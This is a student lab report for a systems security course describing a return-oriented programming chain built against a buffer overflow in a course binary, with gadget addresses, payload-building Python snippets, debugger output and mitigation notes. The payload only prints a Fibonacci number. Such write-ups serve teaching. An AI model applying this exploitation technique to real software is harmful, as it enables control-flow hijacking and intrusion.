CS6570: Assignment -3

Team: Trojan

Members: Pradeep Peter Murmu (CS24M033), Kilaparthi Vishnu Vardhan (CS24M022)

Part-1

In this problem, we had to craft an ROP chain to compute the 12th fibonacci number i.e. 144.

List of Gadgets used:

Gadget	Purpose
pop eax ; ret (0x080cf49a)	Sets value in eax register
pop ecx ; ret (0x080915f3)	Sets value in ecx register
pop edi ; ret (0x08049a9f)	Sets value in edi register
pop esi ; ret (0x080497c4)	Sets value in esi register
add eax , ecx ; ret (0x08075044)	Adds value in ecx to eax. (eax=eax+ecx)
xchg ecx , eax ; ret (0x0806ba7b)	Exchanges values in ecx and eax
xchg esi , eax ; ret (0x08063c1a)	Exchanges values in esi and eax
push esi ; push ecx ; call edi (0x080614cb)	Pushes value of esi and ecx to stack and calls the value in edi

Working

We wrote a python script to create the ROPchain.
At first, we needed to reach the return address of the main function. Since the binary had buffer overflow vulnerability, we found the padding to the return address to be 40 bytes.

```
payload = b"A" * 40
```

Then, we needed to craft our ROPchain. Like a standard fibonacci program the initial 2 values needed to be 0 and 1. So we set the value of registers eax and ecx with 0 and 1 using pop instructions. Pop instruction takes the next value in stack and sets the register with it.

```
payload+=pop_eax
payload+=p32(0x00000000)
payload+=pop_ecx
payload+=p32(0x00000001)
```

Then, we needed to create a loop like a standard fibonacci program where we add current and previous variables and then swap the variables. Using “add eax , ecx ; ret” gadget we added the registers and then using “xchg ecx , eax ; ret” gadget we swapped the value. Looping this for 12 times would set the eax register with 12th fibonacci number i.e. 144 and ecx register with 13th fibonacci number.

```
for _ in range(12):
      payload+= add_eax_ecx
      payload+= xchg_ecx_eax
```

Then, we simply needed to print the value stored in eax register. For this we needed printf function. We used gdb to find the printf address.

```
(gdb) info functions printf
All functions matching regular expression "printf":

Non-debugging symbols:
0x08049420  __printf_fp_l.cold
0x08049428  __printf_fphex.cold
0x080521e0  ___asprintf
0x080521e0  __asprintf
0x080521e0  asprintf
0x08052230  _IO_printf
0x08052230  __printf
0x08052230  printf
0x08052c20  printf_positional
```

We found the printf address to be 0x08052230.

Printf function also needed a format string i.e. “%d”. We found the “%d” address using objdump. Shifting the bytes we got “%d\n” at 0x080d3037.

```
sse@sse_vm:~/a3$ objdump -s -j .rodata rops | grep "%d"
 80d3030 3d3d3d3d 3e200025 640a0041 52452055  ====> .%d..ARE U
 80d50b0 6170206e 723d2225 64223e0a 3c73697a  ap nr="%d">.<siz
 80d5690 3d222564 22207369 7a653d22 257a7522  ="%d" size="%zu"
 80d6360 73256400 7184f9ff 9184f9ff b184f9ff  s%d.q...........
 80d73e0 25733a20 00256420 286d696e 3a202564  %s: .%d (min: %d
 80d73f0 2c206d61 783a2025 64290a00 6661696c  , max: %d)..fail
 80eddd0 5900256d 2f25642f 25790025 483a254d  Y.%m/%d/%y.%H:%M
 80ee2c0 2561254e 2566254e 2564254e 2562254e  %a%N%f%N%d%N%b%N
```

To execute the printf function with format string and the eax register value, we needed a gadget that pushed eax register and format string address to the stack and called the printf function.
We found a gadget with 2 push and 1 call instructions - “push esi ; push ecx ; call edi”. To use this gadget we needed to do the following:

1. Store the eax register value into esi register.
2. Store the format string address into ecx register.
3. Store the printf function address into edi register.

```
payload+= xchg_esi_eax
payload+=pop_edi
payload+=printf_addr
payload+= pop_ecx
payload+=format_str_addr
payload+= push_esi_push_ecx_call_edi
```

We first used “xchg esi , eax ; ret” to store the esi register with eax value.
Then we used “pop edi ; ret” followed by printf() address to store in edi register.
Then we used “pop ecx ; ret” followed by format string address to store in ecx register.
After all this, using the “push esi ; push ecx ; call edi” gadget allowed us to execute the printf() in the right order.

Running the python script with our payload gave us the below output:

```
sse@sse_vm:~/a3$ python3 script.py
[+] Starting local process './rops': pid 5552
[+] Receiving all data: Done (70B)
[*] Process './rops' stopped with exit code -11 (SIGSEGV) (pid 5552)
b'The Answer to Everything in Life is\n========> 42\nARE U SATISFIED?\n144'
Payload saved to solution_Q1
```

Tasks

1. Vulnerability and Mitigation

The vulnerability in the binary was buffer overflow. We simply overflowed the the input and reached the return address of the main function and executed our carefully crafted ROPchain.

It can be fixed by using stack canaries to detect buffer overflows. We can also use safer functions instead of simple scanf to prevent these attacks. We can enable ASLR to prevent ROPchain attacks.

2. Execution of the payload

```
sse@sse_vm:~/a3$ cat solution_Q1 | ./rops >&1
The Answer to Everything in Life is
========> 42
ARE U SATISFIED?
144
Segmentation fault (core dumped)
```

Contribution

1. Pradeep P. M. (CS24M033)
    - Searched for gadgets that would likely help
    - Wrote the “Working” in this report.

2. Vishnu K. (CS24M022)
    - Search for printf and format string addresses using ghidra and gdb
    - Wrote the “Tasks” in this report.

Acknowledgement

1. https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming
2. Perplexity AI for debugging and python scripts.

—-7H3 3ND—-